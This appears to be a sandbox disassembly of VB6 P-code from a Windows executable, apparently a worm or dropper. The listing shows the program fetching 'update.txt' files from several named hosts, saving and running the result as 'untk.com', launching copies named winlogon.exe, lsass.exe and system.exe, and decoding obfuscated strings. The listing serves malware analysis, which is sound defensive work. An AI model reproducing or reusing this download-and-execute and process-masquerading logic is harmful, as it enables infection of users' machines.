Similarity

File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe

Function:

0040e694
0040e694FrmMain.Timer3#0:
0040e694FLdRfVar var_94
0040e697ImpAdCallFPR4 pool#186, 4
0040e69cFFree1Var var_94
0040e69fFLdRfVar var_9C
0040e6a2FLdRfVar var_98
0040e6a5ImpAdLdRf pool#3
0040e6a8NewIfNullPr 4
0040e6abVCallHresult 20, 5
0040e6b0FLdPr var_98
0040e6b3VCallHresult 88, 6
0040e6b8ILdRf var_9C
0040e6bbLitStr ".exe"
0040e6beConcatStr
0040e6bfCVarStr var_94
0040e6c2FLdRfVar var_AC
0040e6c5ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e6caFLdRfVar var_AC
0040e6cdLitVarStr var_BC, "winlogon.exe"
0040e6d2FStVarCopyObj var_CC
0040e6d5FLdRfVar var_CC
0040e6d8FLdRfVar var_DC
0040e6dbImpAdCallFPR4 rtcUpperCaseVar, 8
0040e6e0FLdRfVar var_DC
0040e6e3NeVarBool
0040e6e5FFree1Str var_9C
0040e6e8FFree1Ad var_98
0040e6ebFFreeVar var_94, var_CC, var_AC, var_DC
0040e6f6BranchF 0x40e6fe
0040e6f9ThisVCallHresult 1812, 25
0040e6fe
0040e6feloc_40e6fe:
0040e6feFLdRfVar var_9C
0040e701FLdRfVar var_98
0040e704ImpAdLdRf pool#3
0040e707NewIfNullPr 4
0040e70aVCallHresult 20, 5
0040e70fFLdPr var_98
0040e712VCallHresult 88, 6
0040e717ILdRf var_9C
0040e71aLitStr ".exe"
0040e71dConcatStr
0040e71eCVarStr var_94
0040e721FLdRfVar var_AC
0040e724ImpAdCallFPR4 rtcUpperCaseVar, 8
0040e729FLdRfVar var_AC
0040e72cLitVarStr var_BC, "winlogon.exe"
0040e731FStVarCopyObj var_CC
0040e734FLdRfVar var_CC
0040e737FLdRfVar var_DC
0040e73aImpAdCallFPR4 rtcUpperCaseVar, 8
0040e73fFLdRfVar var_DC
0040e742EqVar 65300
0040e746FLdRfVar var_F2
0040e749FLdPrThis
0040e74aVCallAd 776
0040e74dFStAdFunc var_F0
0040e750FLdPr var_F0
0040e753VCallHresult 88, 27
0040e758FLdI2 var_F2
0040e75bLitI2_Byte 0
0040e75dEqI2
0040e75eCVarBoolI2 65276
0040e762AndVar 65260
0040e766CBoolVarNull
0040e768FFree1Str var_9C
0040e76bFFreeAd var_98, var_F0
0040e772FFreeVar var_94, var_CC, var_AC, var_DC, var_104
0040e77fBranchF 0x40e819
0040e782LitVarI2 65348, 0
0040e787FStVar 65244
0040e78bImpAdCallI2 pool#187, 0
0040e790CVarI4 var_BC
0040e794FStVar 65244
0040e798FLdRfVar var_124
0040e79bLitVarI2 65348, 0
0040e7a0HardType
0040e7a1NeVarBool
0040e7a3BranchF 0x40e7bd
0040e7a6LitI2_Byte -1
0040e7a8FLdPrThis
0040e7a9VCallAd 772
0040e7acFStAdFunc var_98
0040e7afFLdPr var_98
0040e7b2VCallHresult 92, 27
0040e7b7FFree1Ad var_98
0040e7baBranch 0x40e819
0040e7bd
0040e7bdloc_40e7bd:
0040e7bdLitI2_Byte 0
0040e7bfFLdPrThis
0040e7c0VCallAd 772
0040e7c3FStAdFunc var_98
0040e7c6FLdPr var_98
0040e7c9VCallHresult 92, 27
0040e7ceFFree1Ad var_98
0040e7d1FLdRfVar var_9C
0040e7d4FLdPrThis
0040e7d5VCallAd 764
0040e7d8FStAdFunc var_98
0040e7dbFLdPr var_98
0040e7deVCallHresult 160, 188
0040e7e3ILdRf var_9C
0040e7e6LitStr ""
0040e7e9NeStr
0040e7ebFFree1Str var_9C
0040e7eeFFree1Ad var_98
0040e7f1BranchF 0x40e819
0040e7f4FLdRfVar var_94
0040e7f7ThisVCallHresult 1820, 25
0040e7fcFFree1Var var_94
0040e7ffImpAdCallFPR4 rtcDoEvents, 0
0040e804LitStr ""
0040e807FLdPrThis
0040e808VCallAd 764
0040e80bFStAdFunc var_98
0040e80eFLdPr var_98
0040e811VCallHresult 164, 188
0040e816FFree1Ad var_98
0040e819
0040e819loc_40e819:
0040e819ExitProcHresult
0040e694

0040e81a
0040e81a struct PCodePad
0040e81a 00 00 ..
0040e81c
0040e81c struct ProcDscInfo
0040e81c lpObjectInfo uint32 0x405168
0040e820 wArgSize int 4
0040e822 wFrameSize int 160
0040e824 wPCodeBackOffset uint16 0x40e694
0040e826 wTotalSize uint16 0x0028
0040e828 wProcOptFlags uint16 0x0000
0040e82a wReserved uint16 0x0000
0040e82c wBosSkipTableOff uint16 0x0000
0040e82e wBaseIfaceSlot uint16 0x0013
0040e830 wReserved2 uint16 0x0000
0040e832 wReserved3 uint16 0x0000
0040e834
0040e834 10 00 00 00 00 00 01 00 00 00 00 00 ............
0040e840 dc fe 02 00 30 00 00 00 00 00 09 00 00 00 00 00 ....0...........
0040e850 64 ff 01 00 68 ff 03 00 10 ff 03 00 6c ff 02 00 d...h.......l...
0040e860 54 ff 02 00 34 ff 02 00 24 ff 02 00 14 ff 02 00 T...4...$.......
0040e870 ec fe 02 00 ....

0040e874
0040e874fn_40e874:
0040e874LargeBos 2
0040e876LargeBos 5
0040e878OnErrorGoto 65535
0040e87bLargeBos 92
0040e87dLitI4 0
0040e882LitI4 2
0040e887FLdRfVar var_A4
0040e88aRedim 1, 0, 16, 2176
0040e894LitVarStr var_B4, "apasajalah.host.sk/update.txt"
0040e899LitI4 0
0040e89eILdRf var_A4
0040e8a1Ary1StVarCopy
0040e8a3LitVarStr var_C4, "yosef.netfast.org/update.txt"
0040e8a8LitI4 1
0040e8adILdRf var_A4
0040e8b0Ary1StVarCopy
0040e8b2LitVarStr var_D4, "friendster.netfast.org/Update.txt"
0040e8b7LitI4 2
0040e8bcILdRf var_A4
0040e8bfAry1StVarCopy
0040e8c1FLdRfVar var_A4
0040e8c4FLdRfVar var_E4
0040e8c7ImpAdCallFPR4 rtcArray, 8
0040e8ccFLdRfVar var_A4
0040e8cfErase
0040e8d0FLdRfVar var_E4
0040e8d3FStVar 65292
0040e8d7LargeBos 30
0040e8d9LitVarI2 65324, 0
0040e8deFLdRfVar var_104
0040e8e1FLdRfVar var_F4
0040e8e4CRefVarAry
0040e8e6PopAdLd4
0040e8e7LitI2_Byte 1
0040e8e9FnUBound
0040e8ebCVarI4 var_C4
0040e8efForVar 65244, 304
0040e8f5LargeBos 25
0040e8f7FLdRfVar var_104
0040e8faCDargRef 16396
0040e8feFLdRfVar var_F4
0040e901VarIndexLdVar 65308, 1
0040e907CStrVarTmp
0040e908FStStr var_A0
0040e90bFFree1Var var_E4
0040e90eLargeBos 21
0040e910ILdRf arg_10
0040e913LitI2_Byte -1
0040e915PopTmpLdAd2 65242
0040e918FLdRfVar var_A0
0040e91bImpAdCallI2 pool#4, 12
0040e920FStStr var_98
0040e923LargeBos 13
0040e925ILdRf var_98
0040e928LitStr ""
0040e92bNeStr
0040e92dBranchF 0x40e997
0040e930LargeBos 45
0040e932ILdRf var_98
0040e935FnLenStr
0040e936CVarI4 var_E4
0040e93aLitI4 2
0040e93fFLdRfVar var_98
0040e942CVarRef 65356, 16392
0040e947FLdRfVar var_138
0040e94aImpAdCallFPR4 rtcMidCharVar, 16
0040e94fFLdRfVar var_138
0040e952CStrVarTmp
0040e953FStStr var_98
0040e956FFreeVar var_E4, var_138
0040e95dLargeBos 13
0040e95fFLdRfVar var_98
0040e962ImpAdCallI2 pool#7, 4
0040e967FStStr var_98
0040e96aLargeBos 40
0040e96cImpAdLdRf pool#8
0040e96fLitVarStr var_B4, "\\untk.com"
0040e974ConcatVar var_E4
0040e978CStrVarTmp
0040e979PopTmpLdAdStr 65220
0040e97dFLdRfVar var_98
0040e980FLdRfVar var_138
0040e983ImpAdCallFPR4 pool#10, 12
0040e988FFree1Str var_13C
0040e98bFFreeVar var_E4, var_138
0040e992LargeBos 5
0040e994Branch 0x40e9a4
0040e997
0040e997loc_40e997:
0040e997LargeBos 2
0040e999LargeBos 11
0040e99bFLdRfVar var_104
0040e99eNextStepVar 65244, 129
0040e9a4
0040e9a4loc_40e9a4:
0040e9a4LargeBos 41
0040e9a6LitI4 0
0040e9abImpAdLdRf pool#8
0040e9aeLitVarStr var_B4, "\\untk.com"
0040e9b3ConcatVar var_E4
0040e9b7ImpAdCallI2 rtcDir, 8
0040e9bcFStStrNoPop var_13C
0040e9bfLitStr ""
0040e9c2NeStr
0040e9c4FFree1Str var_13C
0040e9c7FFree1Var var_E4
0040e9caBranchF 0x40e9f8
0040e9cdLargeBos 30
0040e9cfLitI4 0
0040e9d4ImpAdLdRf pool#8
0040e9d7LitVarStr var_B4, "\\untk.com"
0040e9dcConcatVar var_E4
0040e9e0ImpAdCallFPR4 rtcShell, 8
0040e9e5FStFPR8 65212
0040e9e8FFree1Var var_E4
0040e9ebLargeBos 13
0040e9edFLdRfVar var_E4
0040e9f0ImpAdCallFPR4 pool#13, 4
0040e9f5FFree1Var var_E4
0040e9f8
0040e9f8loc_40e9f8:
0040e9f8LargeBos 2
0040e9faLargeBos 0
0040e9fcExitProcCb 16
0040e874

0040ea00
0040ea00 struct ProcDscInfo
0040ea00 lpObjectInfo uint32 0x403aa0
0040ea04 wArgSize int 12
0040ea06 wFrameSize int 192
0040ea08 wPCodeBackOffset uint16 0x40e874
0040ea0a wTotalSize uint16 0x0040
0040ea0c wProcOptFlags uint16 0x0000
0040ea0e wReserved uint16 0x0000
0040ea10 wBosSkipTableOff uint16 0x0000
0040ea12 wBaseIfaceSlot uint16 0x0013
0040ea14 wReserved2 uint16 0x0000
0040ea16 wReserved3 uint16 0x0000
0040ea18
0040ea18 28 00 00 00 00 00 07 00 (.......
0040ea20 00 00 00 01 6c ff 02 00 ec fe 02 00 dc fe 02 00 ....l...........
0040ea30 fc fe 02 00 60 ff 01 00 68 ff 01 00 0c ff 02 00 ....`...h.......
0040ea40 22 00 00 00 00 00 04 00 00 00 00 00 c4 fe 01 00 "...............
0040ea50 1c ff 02 00 c8 fe 02 00 5c ff 05 01 00 00 00 00 ........\.......
0040ea60 02 00 00 00 ....

0040ea64
0040ea64fn_40ea64:
0040ea64LargeBos 2
0040ea66LargeBos 5
0040ea68OnErrorGoto 65535
0040ea6bLargeBos 7
0040ea6dLitI2_Byte 1
0040ea6fFStI2 -134
0040ea72LargeBos 56
0040ea74LitVar_Missing var_174
0040ea77LitVar_Missing var_154
0040ea7aLitVar_Missing var_134
0040ea7dLitVar_Missing var_114
0040ea80LitVar_Missing var_F4
0040ea83LitVar_Missing var_D4
0040ea86LitVarStr var_A4, "Please Enter The Password!"
0040ea8bFStVarCopyObj var_B4
0040ea8eFLdRfVar var_B4
0040ea91ImpAdCallI2 rtcInputBox, 28
0040ea96FStStr var_94
0040ea99FFreeVar var_B4, var_D4, var_F4, var_114, var_134, var_154, var_174
0040eaaaLargeBos 13
0040eaacILdRf var_94
0040eaafLitStr ""
0040eab2EqStr
0040eab4BranchF 0x40eaba
0040eab7LargeBos 3
0040eab9ExitProcI2
0040eaba
0040eabaloc_40eaba:
0040eabaLargeBos 16
0040eabcLitI2_Byte 0
0040eabeFLdRfVar var_8E
0040eac1LitI2 255
0040eac4ForI2 65160, 207
0040eacaLargeBos 29
0040eaccFLdI2 var_8E
0040eacfCI4UI1
0040ead0FMemLdRf arg_14, 0
0040ead5AryInRecLdPr 1, 1
0040eadbMemLdUI1 0
0040eadfCI2UI1
0040eae1LitI2_Byte 0
0040eae3EqI2
0040eae4BranchF 0x40eaef
0040eae7LargeBos 5
0040eae9Branch 0x40eb33
0040eaecBranch 0x40eb27
0040eaef
0040eaefloc_40eaef:
0040eaefLargeBos 2
0040eaf1LargeBos 54
0040eaf3ILdRf var_8C
0040eaf6CVarStr var_A4
0040eaf9FLdI2 var_8E
0040eafcCI4UI1
0040eafdFMemLdRf arg_14, 0
0040eb02AryInRecLdPr 1, 1
0040eb08MemLdUI1 0
0040eb0cCI4UI1
0040eb0dFLdRfVar var_B4
0040eb10ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040eb15FLdRfVar var_B4
0040eb18ConcatVar var_D4
0040eb1cCStrVarTmp
0040eb1dFStStr var_8C
0040eb20FFreeVar var_B4, var_D4
0040eb27
0040eb27loc_40eb27:
0040eb27LargeBos 2
0040eb29LargeBos 10
0040eb2bFLdRfVar var_8E
0040eb2eNextI2 65160, 102
0040eb33
0040eb33loc_40eb33:
0040eb33LargeBos 23
0040eb35LitI2_Byte 0
0040eb37FLdRfVar var_8E
0040eb3aILdRf arg_10
0040eb3dLitI4 1
0040eb42SubI4
0040eb43CI2I4
0040eb44ForI2 65156, 265
0040eb4aLargeBos 25
0040eb4cLitI2_Byte 0
0040eb4eCUI1I2
0040eb50FLdI2 var_8E
0040eb53CI4UI1
0040eb54FMemLdRf arg_C, 0
0040eb59AryInRecLdPr 1, 1
0040eb5fMemStUI1 0
0040eb63LargeBos 10
0040eb65FLdRfVar var_8E
0040eb68NextI2 65156, 230
0040eb6dLargeBos 24
0040eb6fLitI2_Byte 0
0040eb71FLdRfVar var_8E
0040eb74ILdRf var_94
0040eb77FnLenStr
0040eb78LitI4 1
0040eb7dSubI4
0040eb7eCI2I4
0040eb7fForI2 65152, 372
0040eb85LargeBos 73
0040eb87LitVarI2 65356, 1
0040eb8cFLdI2 var_8E
0040eb8fLitI2_Byte 1
0040eb91AddI2
0040eb92CI4UI1
0040eb93FLdRfVar var_94
0040eb96CVarRef 65372, 16392
0040eb9bFLdRfVar var_D4
0040eb9eImpAdCallFPR4 rtcMidCharVar, 16
0040eba3FLdRfVar var_D4
0040eba6CStrVarVal 65148
0040ebaaImpAdCallI2 rtcAnsiValueBstr, 4
0040ebafCUI1I2
0040ebb1FLdI2 var_8E
0040ebb4CI4UI1
0040ebb5FMemLdRf arg_C, 0
0040ebbaAryInRecLdPr 1, 1
0040ebc0MemStUI1 0
0040ebc4FFree1Str var_184
0040ebc7FFreeVar var_B4, var_D4
0040ebceLargeBos 10
0040ebd0FLdRfVar var_8E
0040ebd3NextI2 65152, 289
0040ebd8LargeBos 42
0040ebdaLitI4 0
0040ebdfFLdRfVar var_B4
0040ebe2ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040ebe7FLdRfVar var_B4
0040ebeaCUI1Var
0040ebecFLdI2 var_8E
0040ebefCI4UI1
0040ebf0FMemLdRf arg_C, 0
0040ebf5AryInRecLdPr 1, 1
0040ebfbMemStUI1 0
0040ebffFFree1Var var_B4
0040ec02LargeBos 7
0040ec04LitI2_Byte 0
0040ec06FStI2 -134
0040ec09LargeBos 0
0040ec0bExitProcI2
0040ea64

0040ec0c
0040ec0c struct ProcDscInfo
0040ec0c lpObjectInfo uint32 0x403c44
0040ec10 wArgSize int 20
0040ec12 wFrameSize int 256
0040ec14 wPCodeBackOffset uint16 0x40ea64
0040ec16 wTotalSize uint16 0x002c
0040ec18 wProcOptFlags uint16 0x0000
0040ec1a wReserved uint16 0x0000
0040ec1c wBosSkipTableOff uint16 0x0000
0040ec1e wBaseIfaceSlot uint16 0x0013
0040ec20 wReserved2 uint16 0x0000
0040ec22 wReserved3 uint16 0x0000
0040ec24
0040ec24 14 00 00 00 00 00 02 00 00 00 00 00 ............
0040ec30 6c ff 01 00 74 ff 01 00 2c 00 00 00 00 00 08 00 l...t...,.......
0040ec40 00 00 00 00 7c fe 01 00 4c ff 02 00 2c ff 02 00 ....|...L...,...
0040ec50 0c ff 02 00 ec fe 02 00 cc fe 02 00 ac fe 02 00 ................
0040ec60 8c fe 02 00 ....

0040ec64
0040ec64fn_40ec64:
0040ec64LitVar_Missing var_CC
0040ec67ImpAdCallI2 rtcFreeFile, 4
0040ec6cCVarI2 65316
0040ec6fFStVar 65364
0040ec73FFree1Var var_CC
0040ec76LitStr ""
0040ec79FStStrCopy var_98
0040ec7cFLdRfVar var_E4
0040ec7fFLdRfVar var_E0
0040ec82ImpAdLdRf pool#2
0040ec85NewIfNullPr 3
0040ec88VCallHresult 20, 4
0040ec8dFLdPr var_E0
0040ec90VCallHresult 96, 5
0040ec95LitI4 0
0040ec9aLitI4 0
0040ec9fLitI4 0
0040eca4LitI4 1
0040eca9ILdRf var_E4
0040ecacFLdRfVar var_E8
0040ecafCStr2Ansi
0040ecb0ILdRf var_E8
0040ecb3ImpAdCallI2 fn_407464, 20
0040ecb8FStR4 65300
0040ecbbSetLastSystemError
0040ecbcILdRf var_EC
0040ecbfFStR4 65396
0040ecc2FFreeStr var_E4, var_E8
0040ecc9FFree1Ad var_E0
0040ecccILdRf var_8C
0040eccfLitI4 0
0040ecd4NeI4
0040ecd5BranchF 0x40ed16
0040ecd8LitI4 0
0040ecddLitI4 0x200000
0040ece2LitI4 0
0040ece7LitI4 0
0040ececLitStr "http://"
0040ecefILdI4 arg_C
0040ecf2ConcatStr
0040ecf3FStStrNoPop var_E4
0040ecf6FLdRfVar var_E8
0040ecf9CStr2Ansi
0040ecfaILdRf var_E8
0040ecfdILdRf var_8C
0040ed00ImpAdCallI2 fn_4074fc, 24
0040ed05FStR4 65300
0040ed08SetLastSystemError
0040ed09ILdRf var_EC
0040ed0cFStR4 65380
0040ed0fFFreeStr var_E4, var_E8
0040ed16
0040ed16loc_40ed16:
0040ed16ILdRf var_9C
0040ed19LitI4 0
0040ed1eGtI4
0040ed1fBranchF 0x40eddf
0040ed22
0040ed22loc_40ed22:
0040ed22FLdRfVar var_FC
0040ed25CI4Var
0040ed27PopTmpLdAdStr 65300
0040ed2aFLdRfVar var_94
0040ed2dLdFixedStr 1
0040ed30FStStrNoPop var_E4
0040ed33FnLenStr
0040ed34FLdRfVar var_94
0040ed37LdFixedStr 1
0040ed3aFStStrNoPop var_E8
0040ed3dFLdRfVar var_100
0040ed40CStr2Ansi
0040ed41ILdRf var_100
0040ed44ILdRf var_9C
0040ed47ImpAdCallI2 fn_4073b4, 16
0040ed4cFStI2 -262
0040ed4fSetLastSystemError
0040ed50ILdRf var_100
0040ed53FLdRfVar var_104
0040ed56CStr2Uni
0040ed58ILdRf var_104
0040ed5bFLdRfVar var_94
0040ed5eStFixedStr 1
0040ed61ILdRf var_EC
0040ed64CVarI4 var_BC
0040ed68FStVarCopy 65284
0040ed6cFLdI2 var_106
0040ed6fCBoolUI1
0040ed71FStI2 -146
0040ed74FFreeStr var_E4, var_E8, var_100, var_104
0040ed7fFLdRfVar var_FC
0040ed82LitVarI2 65348, 0
0040ed87HardType
0040ed88GtVarBool
0040ed8aBranchF 0x40edd1
0040ed8dILdI2 arg_10
0040ed90LitI2_Byte -1
0040ed92EqI2
0040ed93BranchF 0x40edb9
0040ed96ILdRf var_98
0040ed99FnLenStr
0040ed9aLitI4 1
0040ed9fEqI4
0040eda0BranchF 0x40edb9
0040eda3ILdRf var_98
0040eda6CR8Str
0040eda8ILdI4 arg_14
0040edabCR8I4
0040edacLeR8
0040edadBranchF 0x40edb9
0040edb0LitStr ""
0040edb3FStStrCopy var_98
0040edb6Branch 0x40ee12
0040edb9
0040edb9loc_40edb9:
0040edb9ILdRf var_98
0040edbcFLdRfVar var_94
0040edbfLdFixedStr 1
0040edc2FStStrNoPop var_E4
0040edc5ConcatStr
0040edc6FStStr var_98
0040edc9FFree1Str var_E4
0040edccImpAdCallFPR4 rtcDoEvents, 0
0040edd1
0040edd1loc_40edd1:
0040edd1FLdRfVar var_FC
0040edd4LitVarI2 65348, 0
0040edd9HardType
0040eddaGtVarBool
0040eddcBranchT 0x40ed22
0040eddf
0040eddfloc_40eddf:
0040eddfLitI4 1
0040ede4ILdRf var_98
0040ede7LitStr "</head>"
0040edeaLitI4 1
0040edefFnInStr4
0040edf1LitI4 0
0040edf6EqI4
0040edf7ILdRf var_98
0040edfaLitStr ""
0040edfdNeStr
0040edffAndI4
0040ee00BranchF 0x40ee0c
0040ee03ILdRf var_98
0040ee06FStStrCopy var_88
0040ee09Branch 0x40ee12
0040ee0c
0040ee0cloc_40ee0c:
0040ee0cLitStr ""
0040ee0fFStStrCopy var_88
0040ee12
0040ee12loc_40ee12:
0040ee12ILdRf var_8C
0040ee15ImpAdCallFPR4 fn_407400, 4
0040ee1aSetLastSystemError
0040ee1bExitProc
0040ec64

0040ee1c
0040ee1c struct ProcDscInfo
0040ee1c lpObjectInfo uint32 0x40397c
0040ee20 wArgSize int 16
0040ee22 wFrameSize int 132
0040ee24 wPCodeBackOffset uint16 0x40ec64
0040ee26 wTotalSize uint16 0x0034
0040ee28 wProcOptFlags uint16 0x0000
0040ee2a wReserved uint16 0x0000
0040ee2c wBosSkipTableOff uint16 0x0000
0040ee2e wBaseIfaceSlot uint16 0x0013
0040ee30 wReserved2 uint16 0x0000
0040ee32 wReserved3 uint16 0x0000
0040ee34
0040ee34 1c 00 00 00 00 00 04 00 00 00 00 01 ............
0040ee40 78 ff 01 00 54 ff 02 00 68 ff 01 00 04 ff 02 00 x...T...h.......
0040ee50 24 00 00 00 00 00 06 00 00 00 00 00 1c ff 01 00 $...............
0040ee60 18 ff 01 00 00 ff 01 00 fc fe 01 00 20 ff 03 00 ............ ...
0040ee70 34 ff 02 00 4...

0040ee74
0040ee74FrmMain.shellbi:
0040ee74FLdRfVar var_88
0040ee77ImpAdLdRf pool#0
0040ee7aNewIfNullPr 1
0040ee7dVCallHresult 88, 2
0040ee82LitI4 1
0040ee87LitStr ""
0040ee8aFLdRfVar var_98
0040ee8dCStr2Ansi
0040ee8eILdRf var_98
0040ee91LitStr ""
0040ee94FLdRfVar var_94
0040ee97CStr2Ansi
0040ee98ILdRf var_94
0040ee9bImpAdLdI4 pool#59
0040ee9eFLdRfVar var_90
0040eea1CStr2Ansi
0040eea2ILdRf var_90
0040eea5LitStr "open"
0040eea8FLdRfVar var_8C
0040eeabCStr2Ansi
0040eeacILdRf var_8C
0040eeafILdRf var_88
0040eeb2ImpAdCallFPR4 fn_405f28, 24
0040eeb7SetLastSystemError
0040eeb8ILdRf var_90
0040eebbImpAdLdRf pool#59
0040eebeCStr2Uni
0040eec0FFreeStr var_8C, var_90, var_94, var_98
0040eecbFLdRfVar var_88
0040eeceImpAdLdRf pool#0
0040eed1NewIfNullPr 1
0040eed4VCallHresult 88, 2
0040eed9LitI4 1
0040eedeLitStr ""
0040eee1FLdRfVar var_98
0040eee4CStr2Ansi
0040eee5ILdRf var_98
0040eee8LitStr ""
0040eeebFLdRfVar var_94
0040eeeeCStr2Ansi
0040eeefILdRf var_94
0040eef2ImpAdLdI4 pool#61
0040eef5FLdRfVar var_90
0040eef8CStr2Ansi
0040eef9ILdRf var_90
0040eefcLitStr "open"
0040eeffFLdRfVar var_8C
0040ef02CStr2Ansi
0040ef03ILdRf var_8C
0040ef06ILdRf var_88
0040ef09ImpAdCallFPR4 fn_405f28, 24
0040ef0eSetLastSystemError
0040ef0fILdRf var_90
0040ef12ImpAdLdRf pool#61
0040ef15CStr2Uni
0040ef17FFreeStr var_8C, var_90, var_94, var_98
0040ef22FLdRfVar var_88
0040ef25ImpAdLdRf pool#0
0040ef28NewIfNullPr 1
0040ef2bVCallHresult 88, 2
0040ef30LitI4 1
0040ef35LitStr ""
0040ef38FLdRfVar var_BC
0040ef3bCStr2Ansi
0040ef3cILdRf var_BC
0040ef3fLitStr ""
0040ef42FLdRfVar var_98
0040ef45CStr2Ansi
0040ef46ILdRf var_98
0040ef49ImpAdLdRf pool#56
0040ef4cLitVarStr var_A8, "\\system.exe"
0040ef51ConcatVar var_B8
0040ef55CStrVarVal 65392
0040ef59FLdRfVar var_94
0040ef5cCStr2Ansi
0040ef5dILdRf var_94
0040ef60LitStr "open"
0040ef63FLdRfVar var_8C
0040ef66CStr2Ansi
0040ef67ILdRf var_8C
0040ef6aILdRf var_88
0040ef6dImpAdCallFPR4 fn_405f28, 24
0040ef72SetLastSystemError
0040ef73FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040ef80FFree1Var var_B8
0040ef83FLdRfVar var_88
0040ef86ImpAdLdRf pool#0
0040ef89NewIfNullPr 1
0040ef8cVCallHresult 88, 2
0040ef91LitI4 1
0040ef96LitStr ""
0040ef99FLdRfVar var_BC
0040ef9cCStr2Ansi
0040ef9dILdRf var_BC
0040efa0LitStr ""
0040efa3FLdRfVar var_98
0040efa6CStr2Ansi
0040efa7ILdRf var_98
0040efaaImpAdLdRf pool#56
0040efadLitVarStr var_A8, "\\winlogon.exe"
0040efb2ConcatVar var_B8
0040efb6CStrVarVal 65392
0040efbaFLdRfVar var_94
0040efbdCStr2Ansi
0040efbeILdRf var_94
0040efc1LitStr "open"
0040efc4FLdRfVar var_8C
0040efc7CStr2Ansi
0040efc8ILdRf var_8C
0040efcbILdRf var_88
0040efceImpAdCallFPR4 fn_405f28, 24
0040efd3SetLastSystemError
0040efd4FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040efe1FFree1Var var_B8
0040efe4FLdRfVar var_88
0040efe7ImpAdLdRf pool#0
0040efeaNewIfNullPr 1
0040efedVCallHresult 88, 2
0040eff2LitI4 1
0040eff7LitStr ""
0040effaFLdRfVar var_BC
0040effdCStr2Ansi
0040effeILdRf var_BC
0040f001LitStr ""
0040f004FLdRfVar var_98
0040f007CStr2Ansi
0040f008ILdRf var_98
0040f00bImpAdLdRf pool#12
0040f00eLitVarStr var_A8, "\\lsass.exe"
0040f013ConcatVar var_B8
0040f017CStrVarVal 65392
0040f01bFLdRfVar var_94
0040f01eCStr2Ansi
0040f01fILdRf var_94
0040f022LitStr "open"
0040f025FLdRfVar var_8C
0040f028CStr2Ansi
0040f029ILdRf var_8C
0040f02cILdRf var_88
0040f02fImpAdCallFPR4 fn_405f28, 24
0040f034SetLastSystemError
0040f035FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040f042FFree1Var var_B8
0040f045ImpAdCallFPR4 rtcDoEvents, 0
0040f04aExitProcHresult
0040ee74

0040f04b
0040f04b struct PCodePad
0040f04b 00 .
0040f04c
0040f04c struct ProcDscInfo
0040f04c lpObjectInfo uint32 0x405168
0040f050 wArgSize int 4
0040f052 wFrameSize int 56
0040f054 wPCodeBackOffset uint16 0x40ee74
0040f056 wTotalSize uint16 0x0024
0040f058 wProcOptFlags uint16 0x0000
0040f05a wReserved uint16 0x0000
0040f05c wBosSkipTableOff uint16 0x0000
0040f05e wBaseIfaceSlot uint16 0x0013
0040f060 wReserved2 uint16 0x0000
0040f062 wReserved3 uint16 0x0000
0040f064
0040f064 0c 00 00 00 00 00 00 00 00 00 00 00 ............
0040f070 24 00 00 00 00 00 06 00 00 00 00 00 74 ff 01 00 $...........t...
0040f080 70 ff 01 00 6c ff 01 00 68 ff 01 00 44 ff 01 00 p...l...h...D...
0040f090 48 ff 02 00 H...

0040f094
0040f094fn_40f094:
0040f094LitI4 0
0040f099LitI4 13
0040f09eFLdRfVar var_1FC
0040f0a1Redim 1, 0, 16, 2176
0040f0abLitVarStr var_A8, "d`j{fzfo}"
0040f0b0FStVarCopyObj var_B8
0040f0b3FLdRfVar var_B8
0040f0b6ImpAdCallI2 pool#1, 4
0040f0bbCVarStr var_20C
0040f0beParmAry1St 65028, 0
0040f0c4LitVarStr var_C8, "'e"
0040f0c9FStVarCopyObj var_D8
0040f0ccFLdRfVar var_D8
0040f0cfImpAdCallI2 pool#1, 4
0040f0d4CVarStr var_21C
0040f0d7ParmAry1St 65028, 1
0040f0ddLitVarStr var_E8, "a}d"
0040f0e2FStVarCopyObj var_F8
0040f0e5FLdRfVar var_F8
0040f0e8ImpAdCallI2 pool#1, 4
0040f0edCVarStr var_22C
0040f0f0ParmAry1St 65028, 2
0040f0f6LitVarStr var_108, "{h{"
0040f0fbFStVarCopyObj var_118
0040f0feFLdRfVar var_118
0040f101ImpAdCallI2 pool#1, 4
0040f106CVarStr var_23C
0040f109ParmAry1St 65028, 3
0040f10fLitVarStr var_128, "s`y"
0040f114FStVarCopyObj var_138
0040f117FLdRfVar var_138
0040f11aImpAdCallI2 pool#1, 4
0040f11fCVarStr var_24C
0040f122ParmAry1St 65028, 4
0040f128LitVarStr var_148, "~~~'"
0040f12dFStVarCopyObj var_158
0040f130FLdRfVar var_158
0040f133ImpAdCallI2 pool#1, 4
0040f138CVarStr var_25C
0040f13bParmAry1St 65028, 5
0040f141LitVarStr var_26C, ".."
0040f146LitI4 6
0040f14bILdRf var_1FC
0040f14eAry1StVarCopy
0040f150LitVarStr var_168, "\x7f`{|z"
0040f155FStVarCopyObj var_178
0040f158FLdRfVar var_178
0040f15bImpAdCallI2 pool#1, 4
0040f160CVarStr var_27C
0040f163ParmAry1St 65028, 7
0040f169LitVarStr var_188, "z|yf{}"
0040f16eFStVarCopyObj var_198
0040f171FLdRfVar var_198
0040f174ImpAdCallI2 pool#1, 4
0040f179CVarStr var_28C
0040f17cParmAry1St 65028, 8
0040f182LitVarStr var_1A8, "DffgDh`e"
0040f187FStVarCopyObj var_1B8
0040f18aFLdRfVar var_1B8
0040f18dImpAdCallI2 pool#1, 4
0040f192CVarStr var_29C
0040f195ParmAry1St 65028, 9
0040f19bLitVarStr var_1C8, "pf|{z`}l"
0040f1a0FStVarCopyObj var_1D8
0040f1a3FLdRfVar var_1D8
0040f1a6ImpAdCallI2 pool#1, 4
0040f1abCVarStr var_2AC
0040f1aeParmAry1St 65028, 10
0040f1b4LitVarStr var_1E8, "pf|{mfdh`g"
0040f1b9FStVarCopyObj var_1F8
0040f1bcFLdRfVar var_1F8
0040f1bfImpAdCallI2 pool#1, 4
0040f1c4CVarStr var_2BC
0040f1c7ParmAry1St 65028, 11
0040f1cdLitVarStr var_2CC, "xxx"
0040f1d2LitI4 12
0040f1d7ILdRf var_1FC
0040f1daAry1StVarCopy
0040f1dcLitVarStr var_2DC, "yyyy"
0040f1e1LitI4 13
0040f1e6ILdRf var_1FC
0040f1e9Ary1StVarCopy
